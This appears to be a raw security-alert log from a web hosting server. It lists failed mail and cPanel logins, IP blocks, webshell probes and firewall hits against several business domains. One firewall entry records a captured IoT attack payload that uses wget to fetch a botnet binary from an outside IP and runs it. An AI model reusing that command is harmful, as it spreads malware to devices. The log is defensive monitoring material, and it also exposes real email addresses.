name: Exim Auth failed
abuser: 2.192.83.208
country_id: 3175395
description:
2026-01-16 16:09:18 dovecot_login authenticator failed for H=([2.192.83.208]) [2.192.83.208]:50070: 535 Incorrect authentication data (set_id=myloo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.204.215.126
country_id: 1814991
description:
Jan 16 16:09:54 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.204.215.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.141.249.241
country_id: 3469034
description:
Jan 16 16:11:31 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.141.249.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.6
country_id: 3175395
description:
Jan 16 16:11:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.6 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 171.22.183.83
country_id: 2750405
domain: imax.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x96_54) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/126.0.0.0 Safari/537.31||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.130
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/themify-font/themify-icons.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.236
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/css-hamburgers/hamburgers.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.242
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/mdi-font/css/material-design-iconic-font.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.203
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/font-awesome-5/css/fontawesome-all.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.212
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/fonts/poppins/poppins-v5-latin-300.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.204.44.123
country_id: 2300660
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/green.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.250
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/animate.css/animate.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.137
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/css/poppins-font.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.173
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/select2/select2.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.169
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/animsition/animsition.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.232
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/bootstrap-4.1/bootstrap.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.150
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/slick/slick.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.159
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/css/main.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.222
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/fonts/poppins/poppins-v5-latin-700.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.166
country_id: 1880251
domain: cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cofreth.com.my/vendor/mdi-font/fonts/Material-Design-Iconic-Fontd1f1.woff2?v=2.2.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.5.21.121
country_id: 3865483
description:
Jan 16 16:17:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.5.21.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.65
country_id: 3175395
description:
Jan 16 16:17:32 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.49
country_id: 1269750
description:
Jan 16 16:18:52 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.49
country_id: 1269750
description:
Jan 16 16:18:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.170
country_id: 933860
description:
Jan 16 16:19:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.72
country_id: 3865483
description:
Jan 16 16:21:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.143.28.188
country_id: 933860
description:
Jan 16 16:21:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.143.28.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.194.96
country_id: 99237
description:
Jan 16 16:21:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.194.96 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.194
country_id: 953987
description:
Jan 16 16:23:21 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.157
country_id: 3469034
description:
Jan 16 16:24:08 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.157 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.13
country_id: 953987
description:
Jan 16 16:26:49 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.13 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.211.21.36
country_id: 2300660
description:
Jan 16 16:26:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.211.21.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.39.13
country_id: 953987
description:
Jan 16 16:26:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.39.13 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/demos/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.37.24
country_id: 3469034
description:
Jan 16 16:28:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.37.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.106
country_id: 3469034
description:
Jan 16 16:28:46 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.106 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - uie-invoicing@urban.my [01/16/2026:08:29:28 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: uie-invoicing@urban.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.163.198.106
country_id: 3469034
description:
Jan 16 16:29:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.163.198.106 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.71.236.61
country_id: 3469034
description:
Jan 16 16:32:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.71.236.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.184.227.144
country_id: 3865483
description:
Jan 16 16:32:35 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.184.227.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.211.67
country_id: 933860
description:
Jan 16 16:33:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.211.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 16:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62345: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.91.43.133
country_id: 1210997
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/img/product_photos/966061.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 194.34.235.34
country_id: 2963597
description:
2026-01-16 16:37:33 172996 [Warning] Aborted connection 172996 to db: 'unconnected' user: 'unauthenticated' host: '194.34.235.34' (This connection closed normally without authentication)


plugin: modsec
rule: 77350309
name: IM360 WAF: Hidden file access
abuser: 149.102.136.77
country_id: 3017382
domain: acburn.com.my
description:
IM360 WAF: Hidden file access||RSV:7.63||T:APACHE||QS:url=https%3A%2F%2Fstorage.googleapisattacker.com%2Fgpt-engineer-scr||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.164.180.74
country_id: 1733045
description:
[2026-01-16 16:39:27 +0800] info [webmaild] 115.164.180.74 - sales01@smartcable.com.my "POST /cpsess9913795090/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [182.62.184.96] != Current IP Address [115.164.180.74]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.50.35.84
country_id: 1733045
description:
[2026-01-16 16:40:19 +0800] info [webmaild] 60.50.35.84 - pylim@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 10.1.14.100
description:
Jan 16 16:42:39 sv3 sshd[1009428]: Accepted publickey for root from 10.1.14.100 port 49525 ssh2: RSA SHA256:WdDh84n9i7OwfL83TC4Q9y94bNOmxYGU2yeZfrTsxL0


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 16:43:15 H=([45.144.212.242]) [45.144.212.242]:51613 F=<no_reply@admin.com> rejected RCPT <ang@aircarbonic.my>: Sender verify failed


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.208
country_id: 6252001
description:
2026-01-16 16:43:55 173237 [Warning] Aborted connection 173237 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.208' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.90.251.123
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/test/fixtures/legacy HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.174.4.168
country_id: 357994
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/test/fixtures/legacy/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/malaysia-infinity-design-projects/images/druma.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.60.124
country_id: 3658394
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/img/photos/8933024424.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.54.59.48
country_id: 1733045
description:
[2026-01-16 16:54:08 +0800] info [webmaild] 60.54.59.48 - general@acburn.com.my "GET /cpsess8849589841/webmail/jupiter/index.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.155.241.138
country_id: 3469034
domain: usfood.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/usfood.com.my/product-details.php?id=602547 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 27.254.142.147
country_id: 1605651
description:
2026-01-16 16:58:17 173871 [Warning] Aborted connection 173871 to db: 'unconnected' user: 'unauthenticated' host: '27.254.142.147' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 27.254.142.147
country_id: 1605651
description:
2026-01-16 16:58:18 173877 [Warning] Aborted connection 173877 to db: 'unconnected' user: 'unauthenticated' host: '27.254.142.147' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/sliders/faq.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 16:59:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41677: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:00:14 H=([45.144.212.242]) [45.144.212.242]:55690 F=<no_reply@admin.com> rejected RCPT <astbki@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 17:01:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 27.254.142.147
country_id: 1605651
description:
2026-01-16 17:03:18 174066 [Warning] Aborted connection 174066 to db: 'unconnected' user: 'unauthenticated' host: '27.254.142.147' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 27.254.142.147
country_id: 1605651
description:
2026-01-16 17:03:19 174073 [Warning] Aborted connection 174073 to db: 'unconnected' user: 'unauthenticated' host: '27.254.142.147' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 17:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62429: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:08:32 H=([45.144.212.242]) [45.144.212.242]:51784 F=<no_reply@admin.com> rejected RCPT <bahar@astlog.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.204.243.167
country_id: 2589581
domain: figofoods.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/figofoods.com.my/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 45.140.17.52
country_id: 2017370
description:
2026-01-16 17:15:40 174568 [Warning] Aborted connection 174568 to db: 'unconnected' user: 'unauthenticated' host: '45.140.17.52' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.40.189.43
country_id: 6252001
description:
Jan 16 17:17:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.40.189.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.40.189.43
country_id: 6252001
description:
2026-01-16 17:17:18 dovecot_plain authenticator failed for H=c-68-40-189-43.hsd1.mi.comcast.net (stategione) [68.40.189.43]:45102: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.55.226.249
country_id: 798544
description:
Jan 16 17:17:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.55.226.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.221.160.119
country_id: 6252001
description:
2026-01-16 17:18:04 dovecot_plain authenticator failed for H=(bliked) [47.221.160.119]:53280: 535 Incorrect authentication data (set_id=info@symphony-led.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 17:20:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 17:25:09 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.39.33.107
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-26.194.39.33.107||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 17:27:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41691: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77142262
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 172.86.123.177
country_id: 6252001
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.63||T:APACHE||MVN:ARGS:mdc||MV:cd /tmp;rm arm7; wget http://216.126.237.216/boatnet.arm7; chmod 777 *; ./boatnet.arm7 tbk||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.35.203.41
country_id: 1814991
description:
Jan 16 17:28:03 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.35.203.41 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.35.203.41
country_id: 1814991
description:
2026-01-16 17:28:05 dovecot_login authenticator failed for H=([58.35.203.41]) [58.35.203.41]:36614: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.142.152.147
country_id: 1733045
description:
[2026-01-16 17:29:25 +0800] info [webmaild] 161.142.152.147 - felicia@nexuscollection.com "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:29:35 H=([45.144.212.242]) [45.144.212.242]:56223 F=<no_reply@admin.com> rejected RCPT <boolan@ms-chemicals.net>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 17:29:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:48486: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:30:09 H=([45.144.212.242]) [45.144.212.242]:64106 F=<no_reply@admin.com> rejected RCPT <boss@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jan 16 17:31:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-16 17:31:39 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:37287: 535 Incorrect authentication data (set_id=shinwen.ong@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 17:32:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:62590: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.202.144.131
country_id: 1210997
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Accessories/Comparison Stretch Film - 1 in cm-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.130
country_id: 1814991
description:
2026-01-16 17:33:32 dovecot_login authenticator failed for H=(jopcs) [171.110.83.130]:52206: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.130
country_id: 1814991
description:
2026-01-16 17:34:06 dovecot_login authenticator failed for H=(erlfc) [171.110.83.130]:52206: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.18
country_id: 732800
description:
2026-01-16 17:36:59 H=([94.156.152.18]) [94.156.152.18]:61228 F=<mekdes@maatextiles.com> rejected RCPT <cky@ahfengineering.com>: SPF: 94.156.152.18 is not allowed to send mail from maatextiles.com


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:43:52 H=([45.144.212.242]) [45.144.212.242]:59145 F=<no_reply@admin.com> rejected RCPT <carol@ms-chemicals.net>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.215.235.113
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/UpdateClientsRequest.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 17:48:29 H=([45.144.212.242]) [45.144.212.242]:57542 F=<no_reply@admin.com> rejected RCPT <celine@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jan 16 17:49:17 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-16 17:49:19 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:44676: 535 Incorrect authentication data (set_id=gabriela_faulkner@sutsb.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.129.235.231
country_id: 6252001
description:
2026-01-16 17:50:46 dovecot_plain authenticator failed for H=([10.7.18.71]) [102.129.235.231]:45585: 535 Incorrect authentication data (set_id=firdaus@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/index.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
